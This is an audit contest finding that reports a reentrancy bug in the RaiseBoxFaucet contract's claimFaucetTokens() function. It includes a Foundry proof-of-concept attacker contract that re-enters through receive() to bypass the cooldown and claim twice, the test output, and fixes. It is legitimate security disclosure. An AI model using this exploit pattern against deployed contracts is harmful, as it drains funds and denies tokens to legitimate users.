Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Reentrancy attack via ETH transfer allows attacker to claim double the tokens

Description

The claimFaucetTokens() function contains a critical reentrancy vulnerability that allows attackers to bypass the 3-day cooldown mechanism. By violating the Checks-Effects-Interactions (CEI) pattern, the function makes an external ETH transfer before updating critical state variables, enabling malicious contracts to claim tokens twice in a single transaction. Attackers can repeat this exploit by deploying fresh contracts.

Root + Impact

Normal Behavior:
The claimFaucetTokens() function should enforce a 3-day cooldown between claims by checking and updating lastClaimTime[msg.sender] to prevent users from claiming more frequently than intended.

The Issue:
The function makes an external ETH transfer at line 210 before updating lastClaimTime at line 227. During the ETH transfer, a malicious contract's receive() function is triggered, allowing it to reenter claimFaucetTokens(). Since lastClaimTime hasn't been updated yet, the cooldown check passes, enabling a second claim in the same transaction.

function claimFaucetTokens() public {
// Checks
faucetClaimer = msg.sender;
if (block.timestamp < (lastClaimTime[faucetClaimer] + CLAIM_COOLDOWN)) {
revert RaiseBoxFaucet_ClaimCooldownOn();
}
// ... other checks ...
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
// ... day tracking ...
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
@> (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}(""); // EXTERNAL CALL
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
}
// ...
} else {
dailyDrips = 0;
}
// ... more code ...
// Effects (TOO LATE - after external call!)
@> lastClaimTime[faucetClaimer] = block.timestamp; // ❌ Should be BEFORE external call, MOST IMPORTANT
@> dailyClaimCount++; // ❌ Should be BEFORE external call
// Interactions
_transfer(address(this), faucetClaimer, faucetDrip);
emit Claimed(msg.sender, faucetDrip);
}

Risk

Likelihood: High - Anyone can deploy a malicious contract with a receive() function. No special conditions required apart from the caller being a first time faucet claimer. Repeatable with fresh contracts.

Impact: High - Attacker claims 2x tokens per transaction, bypassing the 3-day cooldown. By deploying multiple contracts, attackers can continuously drain the faucet, denying tokens to legitimate users.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.30;
import {Test, console} from "forge-std/Test.sol";
import "../src/RaiseBoxFaucet.sol";
contract ReentrancyAttacker {
RaiseBoxFaucet public faucet;
bool public attacked;
constructor(address payable _faucet) {
faucet = RaiseBoxFaucet(_faucet);
}
receive() external payable {
if (!attacked) {
attacked = true;
// Reenter: lastClaimTime hasn't been updated yet, so cooldown passes
faucet.claimFaucetTokens();
}
}
function attack() external {
faucet.claimFaucetTokens();
}
}
contract ReentrancyTest is Test {
RaiseBoxFaucet public faucet;
ReentrancyAttacker public attacker;
address public owner = address(1);
function setUp() public {
vm.prank(owner);
faucet = new RaiseBoxFaucet(
"RaiseBox",
"RB",
1000 * 10 ** 18, // faucetDrip
0.01 ether, // sepEthDrip
1 ether // dailySepEthCap
);
// Fund faucet with ETH for drips
vm.deal(address(faucet), 10 ether);
// Deploy attacker contract
attacker = new ReentrancyAttacker(payable(address(faucet)));
// Move time forward past any initial cooldown
vm.warp(block.timestamp + 3 days + 1);
}
function testReentrancyDrainsFaucet() public {
uint256 faucetDrip = faucet.faucetDrip();
console.log("=== REENTRANCY ATTACK ===");
console.log("Faucet drip per claim:", faucetDrip / 10**18, "tokens");
// Execute reentrancy attack
attacker.attack();
uint256 attackerBalance = faucet.balanceOf(address(attacker));
console.log("Attacker balance:", attackerBalance / 10**18, "tokens");
console.log("Attacker claimed", attackerBalance / faucetDrip, "times in ONE transaction");
console.log("Cooldown bypassed!");
// Attacker should have claimed 2x (bypassed cooldown)
assertEq(attackerBalance, 2 * faucetDrip, "Attacker claimed 2x tokens");
assertTrue(attacker.attacked(), "Reentrancy occurred");
}
}

Test Output:

[PASS] testReentrancyDrainsFaucet() (gas: 234965)
Logs:
=== REENTRANCY ATTACK ===
Faucet drip per claim: 1000 tokens
Attacker balance: 2000 tokens
Attacker claimed 2 times in ONE transaction
Cooldown bypassed!

Attack Flow:

  1. Attacker deploys malicious contract and calls attack()

  2. First claim executes → faucet sends ETH → triggers receive()

  3. In receive(), attacker reenters claimFaucetTokens() before lastClaimTime is updated

  4. Reentrant call passes cooldown check (still sees old lastClaimTime)

  5. Attacker receives second batch of tokens

  6. Result: Claimed 2000 tokens (2x) in one transaction, bypassing 3-day cooldown

Actors:

  • Attacker: Bypasses cooldown, claims 2x tokens per contract deployed

  • Protocol: Cooldown mechanism broken, loses extra tokens

  • Users: Denied tokens as attackers repeatedly exploit

Mitigation

Move state updates (lastClaimTime and dailyClaimCount) before external calls to follow CEI pattern. This prevents reentrancy by ensuring the cooldown check fails on reentrant calls.

Option 1: Fix CEI Pattern (Recommended)

function claimFaucetTokens() public {
// Checks
faucetClaimer = msg.sender;
if (block.timestamp < (lastClaimTime[faucetClaimer] + CLAIM_COOLDOWN)) {
revert RaiseBoxFaucet_ClaimCooldownOn();
}
// ... other checks ...
+ // Effects - UPDATE STATE BEFORE EXTERNAL CALLS
+ lastClaimTime[faucetClaimer] = block.timestamp;
+ dailyClaimCount++;
// Interactions - External calls AFTER state updates
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0;
}
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
} else {
emit SepEthDripSkipped(
faucetClaimer,
address(this).balance < sepEthAmountToDrip ? "Faucet out of ETH" : "Daily ETH cap reached"
);
}
} else {
dailyDrips = 0;
}
if (block.timestamp > lastFaucetDripDay + 1 days) {
lastFaucetDripDay = block.timestamp;
dailyClaimCount = 0;
}
- // Effects
- lastClaimTime[faucetClaimer] = block.timestamp;
- dailyClaimCount++;
// Interactions
_transfer(address(this), faucetClaimer, faucetDrip);
emit Claimed(msg.sender, faucetDrip);
}

Option 2: Additionally Use ReentrancyGuard

+ import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
- contract RaiseBoxFaucet is ERC20, Ownable {
+ contract RaiseBoxFaucet is ERC20, Ownable, ReentrancyGuard {
- function claimFaucetTokens() public {
+ function claimFaucetTokens() public nonReentrant {
// ... rest of function ...
}
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 14 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in `claimFaucetTokens`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.